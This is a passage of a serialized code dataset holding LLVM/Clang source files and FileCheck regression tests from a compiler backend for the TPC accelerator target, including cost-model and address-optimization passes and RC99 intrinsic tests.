valR;\n }\n case llvm::SCEVTypes::scZeroExtend:\n case llvm::SCEVTypes::scTruncate:\n case llvm::SCEVTypes::scSignExtend: {\n string valR;\n raw_string_ostream stream(valR);\n scev->print(stream);\n stream.str();\n return valR;\n }\n default:\n assert(false && \"Unsupported Type\");\n return \"error\";\n }\n}\n\nstring TPCCostModelEmitter::printHelper(const SCEV *scev,\n std::vector<const llvm::Argument*> functionArgs) {\n string result;\n if (const SCEVAddRecExpr *AddRec = dyn_cast<SCEVAddRecExpr>(scev)) {\n if (!AddRec->getLoop()->getCanonicalInductionVariable()) {\n result = \"1\";\n isValidCostModel = false;\n } else {\n result =\n string(AddRec->getLoop()->getCanonicalInductionVariable()->getName());\n }\n result = \"(\" + result + string(\"*\") +\n printHelper(AddRec->getOperand(1), functionArgs) + string(\"+\") +\n printHelper(AddRec->getOperand(0), functionArgs) + \")\";\n return result;\n }\n\n if (const SCEVCommutativeExpr *CommutativeExp =\n dyn_cast<SCEVCommutativeExpr>(scev)) {\n string operatorVal = returnOperator(CommutativeExp, functionArgs);\n string resultStr[10];\n unsigned i = 0;\n for (i = 0; i < CommutativeExp->getNumOperands(); i++) {\n resultStr[i] = printHelper(CommutativeExp->getOperand(i), functionArgs);\n }\n for (i = 0; i < CommutativeExp->getNumOperands() - 1; i++) {\n result += resultStr[i] + operatorVal;\n }\n result += resultStr[i];\n return \"(\" + result + \")\";\n }\n\n if (const SCEVUDivExpr *divExp = dyn_cast<SCEVUDivExpr>(scev)) {\n string resultStr[10];\n unsigned i = 0;\n resultStr[0] = printHelper(divExp->getLHS(), functionArgs);\n resultStr[1] = printHelper(divExp->getRHS(), functionArgs);\n result += resultStr[i] + string(\"/\") + resultStr[1];\n return \"(\" + result + \")\";\n }\n\n return returnOperator(scev, functionArgs);\n}\n\nvector<Constant *> TPCCostModelEmitter::createAString(std::string input,\n Type *Int8Ty) {\n vector<Constant *> Init;\n for (unsigned i = 0; i < input.size(); i++) {\n Init.push_back(ConstantInt::get(Int8Ty, input[i]));\n }\n return Init;\n}\n\nbool TPCCostModelEmitter::runOnMachineFunction(MachineFunction &Fn) {\n if (dontAnalysis) {\n TPC_DEBUG(\"Analysis doesn't work\")\n return EXIT_SUCCESS;\n }\n auto &MLI = getAnalysis<MachineLoopInfo>();\n auto &LI = getAnalysis<LoopInfoWrapperPass>().getLoopInfo();\n auto &SE = getAnalysis<ScalarEvolutionWrapperPass>().getSE();\n DominatorTree &DT = getAnalysis<DominatorTreeWrapperPass>().getDomTree();\n SCE = new SCEVExpander(SE, SE.getDataLayout(), \"expander\");\n\n TPC_DEBUG(\"Init graph presentation:\\n\");\n CostTree graph(&Fn, LI, SE, MLI, DT);\n if (!graph.getValid())\n return false;\n if (printGraphB)\n printGraph(\"CFG-\", graph);\n\n TPC_DEBUG(\"Graph segmenting:\\n\");\n graph.consumeCircle();\n if (!graph.isValid()) {\n TPC_DEBUG(\"not valid model\");\n return false;\n }\n if (printGraphB)\n printGraph(\"cfg-cost\", graph);\n\n TPC_DEBUG(\"Graph calculation:\\n\");\n const SCEV *init = graph.computeCostTree(graph.getRoot(),DT);\n if (!init) {\n TPC_DEBUG(\"not valid model\");\n return false;\n }\n llvm::Module *M = (llvm::Module *)Fn.getFunction().getParent();\n std::vector<const Argument*> argList;\n for (auto &fArg : Fn.getFunction().args()) {\n argList.push_back(&fArg);\n }\n string val = printHelper(init, argList);\n if (!isValidCostModel) {\n TPC_DEBUG(\"not valid model\");\n return false;\n }\n val = \"SCEVBEGIN SCEVCOST:\" + val + \"#SCEVEND\";\n TPC_DEBUG(\"print result:\" + val + \"\\n\");\n if (TPCResult)\n llvm::errs() << \"print result: \" + val + \"\\n\";\n\n TPC_DEBUG(\"Writing result to object\");\n StringRef Name = \"SCEVCost\";\n Type *Int8Ty = llvm::Type::getInt8Ty(Fn.getFunction().getContext());\n vector<Constant *> Init = createAString(val, Int8Ty);\n ArrayType *ATy = ArrayType::get(Int8Ty, Init.size());\n llvm::GlobalVariable *GV0 =\n new llvm::GlobalVariable(*M, ATy, false, GlobalValue::ExternalLinkage,\n ConstantArray::get(ATy, Init), Name, nullptr);\n GV0->setSection(\".SCEVCost\");\n TPC_DEBUG(\"Adding new section: .SCEVCost\");\n return EXIT_SUCCESS;\n}\n" }, { "alpha_fraction": 0.6784313917160034, "alphanum_fraction": 0.6901960968971252, "avg_line_length": 49.79999923706055, "blob_id": "b024d5146a26602d9d02d2d49208cab2344e6d2f", "content_id": "bbb8819ef470828eb7029d64f257b8c87a2d6dca", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 255, "license_type": "permissive", "max_line_length": 107, "num_lines": 5, "path": "/clang/test/RC99/regression/pragma_printf-05.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\nvoid main(int arg_int) {\n#pragma tpc_printf (enable) on // expected-warning{{extra tokens at end of '#pragma tpc_printf' - ignored}}\n printf_i(\"value is integer\\n\", arg_int);\n}\n\n" }, { "alpha_fraction": 0.6272493600845337, "alphanum_fraction": 0.6580976843833923, "avg_line_length": 26.35714340209961, "blob_id": "1450f980fcf4e4958aa7ca73aa9209de794c4711", "content_id": "958f1c855596091320cabfab34d093cb91141034", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 389, "license_type": "permissive", "max_line_length": 121, "num_lines": 14, "path": "/clang/test/RC99/driver/compress.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "\n\n\n\n\n\n// RUN: %tpc_clang -S -march=gaudi -bfloat16 -emit-llvm -O2 %s -o - -### 2>&1 | FileCheck -check-prefix LEVEL_O2_GAUDI %s\n\n\n\nvoid main() {\n}\n\n// DEFAULT: -instr-compress\n// LEVEL_O0: -no-instr-compress\n// LEVEL_O1: -no-instr-compress\n// LEVEL_O2: -instr-compress\n// LEVEL_O2_GAUDI: -no-instr-compress\n// LEVEL_O1_COMPRESS: -instr-compress\n// LEVEL_O2_NO_COMPRESS: -no-instr-compress\n" }, { "alpha_fraction": 0.5922787189483643, "alphanum_fraction": 0.596045196056366, "avg_line_length": 39.88461685180664, "blob_id": "48c00fce7d377474fc3bcca55f41617145765c5e", "content_id": "1d80ab8bc902ac010ebcb485976b25d3c23ef2e5", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1062, "license_type": "permissive", "max_line_length": 80, "num_lines": 26, "path": "/llvm/include/llvm/Transforms/Utils/TPCIntrinsicUtils.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---------------------------- TPCIntrinsicUtils.h ------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// Declares intrinsics API interface and instruction switches table for middle\n// end.This shall be extended as and when required.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_TRASNSFORM_UTILS_TPC_INTRINSIC_H\n#define LLVM_TRASNSFORM_UTILS_TPC_INTRINSIC_H\n\n#include \"llvm/IR/Instructions.h\" \n\nnamespace llvm {\n// Creates the required intrinsic instruction corresponding the instruction \\p\n// InstrToReplace.\\p Switch is used to supply rounding mode switch to be encoded\n// in assembly instruction.\nCallInst *createConvertIntrinsic(Instruction *InstrToReplace,\n unsigned int Switch);\n} // namespace llvm\n#endif" }, { "alpha_fraction": 0.5385067462921143, "alphanum_fraction": 0.5541446208953857, "avg_line_length": 28.53125, "blob_id": "bddecce12f0d1c81b6ff65e1b6a3f8d314968d0c", "content_id": "76de750954694bb62b940b79efebf9ca2f2e5d48", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8505, "license_type": "permissive", "max_line_length": 100, "num_lines": 288, "path": "/llvm/lib/Target/TPC/TPCAddrOpt.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---- TPCAddrOpt.cpp --- Optimizes st/ld_l_v instructions -----------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass:\n// - Swap base and offset in instruction\n// mov.i32 %S0, 0x1d00 ===> mov.i32 %S0, 0x00\n// ld_l_v %V0, %S0, 0x0, %SP0 ld_l_v %V0, %S0, 0x0, %SP0\n// Swapping base and offset in the 'ld_l_v' address will permit \n// eliminate all those 'mov' instructions, \n// and in some cases save a number of scalar registers.\n//===----------------------------------------------------------------------===//\n#include \"llvm/ADT/SmallSet.h\"\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCMCInstrInfo.h\"\nusing namespace llvm;\n\nnamespace llvm {\nFunctionPass *createTPCAddrOpt();\nvoid initializeTPCAddrOptPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC address optimization\";\nstatic const char PassName[] = \"tpc-addr-opt\";\n\n// Flag to disable register balancing.\nstatic cl::opt<bool>\nEnableTPCAddrOpt(PassName,\n cl::desc(\"swap base and offset in ld/st_l_v instruction\"),\n cl::init(true), cl::Hidden);\n\nnamespace {\nclass TPCAddrOpt : public MachineFunctionPass {\n MachineFunction *MF = nullptr;\n MachineRegisterInfo *MRI = nullptr;\n const TargetInstrInfo *TII = nullptr;\n unsigned NumReplaced = 0;\n\npublic:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCAddrOpt() : MachineFunctionPass(ID) {\n initializeTPCAddrOptPass(*PassRegistry::getPassRegistry());\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override;\n};\n}\n\nchar TPCAddrOpt::ID = 0;\n\nINITIALIZE_PASS(TPCAddrOpt, PassName, PassDescription, false, false)\n\nFunctionPass *llvm::createTPCAddrOpt() {\n return new TPCAddrOpt();\n}\n\nSmallSet<MachineInstr *, 4> PreventLooping;\nstatic bool extract_imm(int64_t* imm, MachineInstr *ElementDef, MachineFunction *MF)\n{\n MachineRegisterInfo *MRI = &MF->getRegInfo();\n int opc = ElementDef->getOpcode();\n\n if (PreventLooping.find(ElementDef) != PreventLooping.end()) {\n // already there -means looping\n return false;\n }\n else {\n PreventLooping.insert(ElementDef);\n }\n if (opc == TPC::MOVsip) {\n MachineOperand opnd1 = ElementDef->getOperand(1);\n int nopnd = ElementDef->getNumOperands();\n if (nopnd > 3) {\n MachineOperand opndP = ElementDef->getOperand(nopnd-2);\n MachineOperand opndPP = ElementDef->getOperand(nopnd-1);\n\n if (opnd1.isImm() &&\n opndP.isReg() && (opndP.getReg() == TPC::SP0) &&\n\t opndPP.isImm() && (opndPP.getImm() == 0)) {\n *imm = opnd1.getImm();\n PreventLooping.clear();\n return true;\n }\n }\n }\n else if (ElementDef->isCopy()) {\n MachineOperand opnd1 = ElementDef->getOperand(1);\n if (opnd1.isReg()) {\n unsigned int reg1 = opnd1.getReg();\n if (MRI->hasOneDef(reg1)) {\n // this is still SSA, but may be no def at all (arg)\n if (extract_imm(imm, MRI->getVRegDef(reg1), MF)) {\n PreventLooping.clear();\n return true;\n }\n }\n }\n }\n else if (ElementDef->isPHI()) {\n int nopnd = ElementDef->getNumOperands();\n int64_t imm1;\n bool im_init = false;\n for (int i = 1; i < nopnd; i += 2) {\n MachineOperand opnd = ElementDef->getOperand(i);\n int64_t imm2;\n if (opnd.isReg()) {\n unsigned int reg = opnd.getReg();\n if (MRI->hasOneDef(reg)) {\n MachineInstr * phidef = MRI->getVRegDef(reg);\n if (extract_imm(&imm2, phidef, MF)) {\n if (i == 1) {\n imm1 = imm2;\n im_init = true;\n }\n else {\n if (imm2 != imm1) {\n return false;\n }\n }\n }\n else {\n return false;\n }\n }\n else {\n return false;\n }\n }\n else {\n return false;\n }\n }\n if (im_init) {\n *imm = imm1;\n PreventLooping.clear();\n return true;\n }\n }\n else if (opc == TPC::ORsip) {\n MachineOperand opnd1 = ElementDef->getOperand(1);\n MachineOperand opnd2 = ElementDef->getOperand(2);\n int64_t immo2;\n MachineOperand opnd3 = ElementDef->getOperand(3);\n MachineOperand opnd4 = ElementDef->getOperand(4);\n MachineOperand opnd5 = ElementDef->getOperand(5);\n MachineOperand opnd6 = ElementDef->getOperand(6);\n MachineOperand opnd7 = ElementDef->getOperand(7);\n if (!(opnd7.isImm() && opnd7.getImm() == 0)) {\n return false;\n }\n if (opnd6.isReg()) {\n unsigned reg6 = opnd6.getReg();\n if (reg6 != TPC::SP0) {\n return false;\n }\n }\n if (opnd5.isReg() && opnd5.isTied()) {\n unsigned regd = opnd5.getReg();\n MachineInstr * MID = MRI->getVRegDef(regd);\n if (MID->getOpcode() != TPC::IMPLICIT_DEF) {\n return false;\n }\n }\n\n if (!(opnd4.isImm() && opnd4.getImm() == 0)) {\n return 0;\n }\n if (!(opnd3.isImm() && opnd3.getImm() == 2)) {\n return 0;\n }\n if (opnd2.isImm()) {\n immo2 = opnd2.getImm();\n }\n else {\n return false;\n }\n if (opnd1.isReg()) {\n unsigned int reg = opnd1.getReg();\n if (MRI->hasOneDef(reg)) {\n int64_t imm1;\n if (extract_imm(&imm1, MRI->getVRegDef(reg), MF)) {\n *imm = imm1 | immo2;\n PreventLooping.clear();\n return true;\n }\n }\n }\n }\n return false;\n}\n\n\nbool TPCAddrOpt::runOnMachineFunction(MachineFunction &Func) \n{\n if (skipFunction(Func.getFunction()))\n return false;\n\n if (!EnableTPCAddrOpt)\n return false;\n MF = &Func;\n MRI = &MF->getRegInfo();\n TII = MF->getSubtarget().getInstrInfo();\n auto Features = MF->getSubtarget().getFeatureBits();\n bool is_dali= Features[TPC::FeatureGoya];\n if (!is_dali) {\n return false;\n }\n\n NumReplaced = 0;\n MachineBasicBlock *MBB;\n unsigned zerreg = 0;\n\n for (MachineFunction::iterator MBBI = MF->begin(), MBBE = MF->end();\n MBBI != MBBE; ++MBBI) {\n MBB = &*MBBI;\n for (MachineBasicBlock::iterator mi = MBB->begin(), me = MBB->end();\n mi != me; ) {\n MachineBasicBlock::iterator nmi = std::next(mi);\n MachineInstr *MI = &*mi;\n if (MI->getOpcode()==TPC::MOVnodce) {\n zerreg = MI->getOperand(0).getReg();\n }\n bool isld = TPCII::is_ld_l_v(MI->getDesc());\n bool isst = TPCII::is_st_l_v(MI->getDesc());\n\n if (isld || isst) {\n PreventLooping.clear();\n int opndcnt = (isld) ? 1 : 0;\n MachineOperand opnd1 = MI->getOperand(opndcnt);\n MachineOperand opnd2 = MI->getOperand(opndcnt+1);\n if (opnd2.isImm() && opnd1.isReg() && opnd2.getImm() == 0) {\n unsigned int reg1 = opnd1.getReg();\n if (!MRI->hasOneDef(reg1) || zerreg == 0) { // if arg - no def\n mi = nmi;\n continue;\n }\n MachineInstr *ElementDef = MRI->getVRegDef(reg1);\n int64_t imm; \n if (extract_imm(&imm, ElementDef, MF)) {\n MachineInstrBuilder MIB;\n unsigned int i;\n if (isld) {\n MIB = BuildMI(*MBB, mi, MI->getDebugLoc(), MI->getDesc(), MI->getOperand(0).getReg());\n MIB.addReg(zerreg);\n MIB.addImm(imm);\n for (i = 3; i< MI->getNumOperands(); i++)\n MIB.add(MI->getOperand(i));\n if (!MI->memoperands_empty()) {\n for (auto mo : MI->memoperands()) {\n MIB.addMemOperand(mo);\n }\n }\n }\n else {\n MIB = BuildMI(*MBB, mi, MI->getDebugLoc(), MI->getDesc());\n MIB.addReg(zerreg);\n MIB.addImm(imm);\n for (i = 2; i< MI->getNumOperands(); i++)\n MIB.add(MI->getOperand(i));\n if (!MI->memoperands_empty()) {\n for (auto mo : MI->memoperands()) {\n MIB.addMemOperand(mo);\n }\n }\n }\n MI->removeFromParent();\n ++NumReplaced;\n }\n }\n }\n mi = nmi;\n }\n }\n \n return NumReplaced > 0;\n}\n" }, { "alpha_fraction": 0.5655737519264221, "alphanum_fraction": 0.6448087692260742, "avg_line_length": 32.3636360168457, "blob_id": "c8ef73e5db1cb316bd7f09ad7f4ea851ee4772da", "content_id": "7b019e4efce603a5568fcaf1de3479c7f5724033", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 366, "license_type": "permissive", "max_line_length": 150, "num_lines": 11, "path": "/clang/test/RC99/localizer/resolver-14.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %tpc_clang -S -O1 %s -o - 2>&1 | FileCheck %s\n\nfloat64 gval[65];\n\nvoid main(int x, int y) {\n *(float64 __local *)x = gval[0];\n gval[0] = v_f32_lookup_v((uint64)x, 1, 1);\n *(float64 __local *)y = x;\n}\n\n// CHECK: fatal error: error in backend: too much vector memory is used for statically allocated data: 16640 is allocated, but only 16384 is available" }, { "alpha_fraction": 0.45436766743659973, "alphanum_fraction": 0.5534549951553345, "avg_line_length": 48.48387145996094, "blob_id": "831c53495a240117f47fb60c23d2508d33ef496f", "content_id": "ca14d1f12732e1c64672c13e974977db8bda76ba", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1534, "license_type": "permissive", "max_line_length": 85, "num_lines": 31, "path": "/llvm/include/llvm/Target/TargetInfoTPC.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TargetInfoTPC.h ---------------------- ---------------- ------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n#ifndef LLVM_TARGET_TARGETINFOTPC_H\n#define LLVM_TARGET_TARGETINFOTPC_H\n\nstatic const char *const DataLayoutStringTPC =\n \"e\" // TPC is little-endian CPU\n \"-p0:32:32:32\" // Default address space is local, 32-bit address\n \"-p1:32:32:32\" // Local scalar address space requires 32-bit address\n \"-p2:32:32:32\" // Local vector address space requires 32-bit address\n \"-p3:64:64:64\" // Global address space requires 64-bit address\n \"-i32:32:32\" // Native integer is 32 bits\n \"-n8:16:32\" // Native integer sizes\n \"-f16:16:16\" // Half is 16 bits aligned at 32bit boundary (TODO: fix it)\n \"-f32:32:32\" // Float is 32 bits\n \"-v160:32:32\" // v5i32 are aligned on 32 bit boundary\n \"-v256:2048:2048\" // 256 bit vectors (bool256) are aligned at 256 byte boundary\n \"-v2048:2048:2048\" // 2048 bit vectors are aligned at 256 bytes\n \"-v4096:2048:2048\" // double vectors (DRF) are aligned at 256 bytes\n \"-v8192:2048:2048\" // quad vectors (ARF) are aligned at 256 bytes\n ;\n\n#endif\n" }, { "alpha_fraction": 0.4932432472705841, "alphanum_fraction": 0.5388513803482056, "avg_line_length": 30.88888931274414, "blob_id": "a2bf6c753d386aa0aa773055a76f8bd01fab2585", "content_id": "b6c2c639281ea0075c9810b4c504881688722636", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1184, "license_type": "permissive", "max_line_length": 115, "num_lines": 36, "path": "/clang/test/RC99/acceptance/batch_norm_stage1.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O2 %s -o - | FileCheck %s\r\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\r\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck --check-prefix=CHECK-O1 %s\r\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM-O1 %s\r\n\r\n// batch norm for floats\r\nvoid main(tensor ifm , tensor mean_tensor, tensor var_tensor)\r\n{\r\n int5 addr= 0; \r\n float64 mean = 0;\r\n float64 var = 0;\r\n\r\n // spatial for loops\r\n for (int h = 0 ; h < 10; h++)\r\n {\r\n addr[1] = h;\r\n for (int w = 0 ; w < 10; w++)\r\n {\r\n addr[2] = w;\r\n float64 tmp = 0;\r\n tmp = v_f32_ld_tnsr_i_b(addr,ifm,tmp,1,0);\r\n mean += tmp;\r\n var += tmp * tmp;\r\n }\r\n }\r\n int5 storeCoord = 0;\r\n f32_st_tnsr_i_v_b(storeCoord, mean_tensor, mean, 1,0);\r\n f32_st_tnsr_i_v_b(storeCoord, var_tensor, var, 1,0);\r\n}\r\n\r\n// CHECK:main\r\n// CHECK-ASM: main\r\n// CHECK-ASM: halt\r\n// CHECK-O1:main\r\n// CHECK-ASM-O1: main\r\n// CHECK-ASM-O1: halt\r\n" }, { "alpha_fraction": 0.5214408040046692, "alphanum_fraction": 0.6483705043792725, "avg_line_length": 47.58333206176758, "blob_id": "d407f3aad919ca6ec57c8124ac71e4b3935c197e", "content_id": "4a6a04f6b505736ae3a965fdeaf7dbac5238fb1a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 583, "license_type": "permissive", "max_line_length": 149, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_int128_to_bfloat128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n int128 *sptr = (int128 *)src;\n bfloat128 *dptr = (bfloat128 *)dest;\n int128 src_val = *sptr;\n *dptr++ = convert_int128_to_bfloat128(src_val, 0);\n *dptr = convert_int128_to_bfloat128(src_val, SW_RD);\n}\n\n// CHECK-IR: sitofp <128 x i32> {{.*}} to <128 x bfloat>\n// CHECK-IR: call <128 x bfloat> @llvm.tpc.convert.v128bf16.v128i32.i1(<128 x i32> {{.*}}, i8 2, i32 196864, <128 x bfloat> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5299435257911682, "alphanum_fraction": 0.5864406824111938, "avg_line_length": 28.5, "blob_id": "93926da23e387d33b4a1ed5fd30361b4075d2992", "content_id": "9037eb04b65b6e2fffcfc485b3fb9d846ca9fff0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 885, "license_type": "permissive", "max_line_length": 116, "num_lines": 30, "path": "/clang/test/RC99/regression/trac-499.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O2 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck --check-prefix=CHECK-O1 %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM-O1 %s\n\n// GAUDI-126\n// AIL: *\n\n __local__ float ss;\n\nvoid main(tensor ifm , tensor mean_tensor, tensor var_tensor)\n{\n\n int5 a = { 1 ,2 ,3 ,4,5};\n float64 mean = a[0];\n ss = 0.56;\n int5 storeCoord = {0,0,0,0,0};\n for (int z = 0 ; z < a[1]; z += 1)\n {\n f32_st_tnsr_i_v_b(storeCoord, mean_tensor, z==0 ? ss : mean, 1,0);\n }\n}\n\n// CHECK:main\n// CHECK-ASM: main\n// CHECK-ASM: halt\n\n// CHECK-O1:main\n// CHECK-ASM-O1: main\n// CHECK-ASM-O1: halt\n" }, { "alpha_fraction": 0.3345643877983093, "alphanum_fraction": 0.4456941485404968, "avg_line_length": 30.855615615844727, "blob_id": "d93ed493ba2fa7120cf4210c94b0066be9fa0195", "content_id": "c0b41b6ccff67ccd6651bf5f7c9de811eaeba656", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5957, "license_type": "permissive", "max_line_length": 79, "num_lines": 187, "path": "/clang/test/RC99/Intrinsics/v_i16_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(int x0a, int x1a, short xs, int dest, _Bool pred, int vpreda) {\n short128 __local *x0ptr = (short128 __local *)x0a;\n short128 __local *x1ptr = (short128 __local *)x1a;\n int128 __local *dptr = (int128 __local *)dest;\n bool128 __local *vpptr = (bool128 __local *)vpreda;\n int128 res = { 0 };\n short128 x0 = *x0ptr;\n short128 x1 = *x1ptr;\n bool128 vpred = *vpptr;\n\n // Vector + Vector\n\n res = v_i16_mac_b(x0, x1, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_i16_mac_b(x0, x1, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_i16_mac_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_i16_mac_b(x0, x1, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_i16_mac_vb(x0, x1, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_i16_mac_vb(x0, x1, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n\n res = v_i16_mac_vb(x0, x1, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%VP{{[0-9]+}}\n\n\n // Vector + Scalar\n\n res = v_i16_mac_b(x0, xs, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_i16_mac_b(x0, xs, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP0\n\n res = v_i16_mac_b(x0, xs, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %SP{{[0-9]+}}\n\n res = v_i16_mac_b(x0, xs, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%SP{{[0-9]+}}\n\n res = v_i16_mac_vb(x0, xs, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_i16_mac_vb(x0, xs, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, %VP{{[0-9]+}}\n\n res = v_i16_mac_vb(x0, xs, res, 0, vpred, 1);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, %S2, !%VP{{[0-9]+}}\n\n\n // Vector + Immediate\n\n res = v_i16_mac_b(x0, 123, res, 0, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = v_i16_mac_b(x0, 123, res, SW_SAT, 1, 0);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n\n res = v_i16_mac_b(x0, 123, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = v_i16_mac_b(x0, 123, res, 0, pred, 1);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = v_i16_mac_vb(x0, 123, res, 0, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %D{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n\n res = v_i16_mac_vb(x0, 123, res, SW_SAT, vpred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 st %D{{[0-9]+}}, 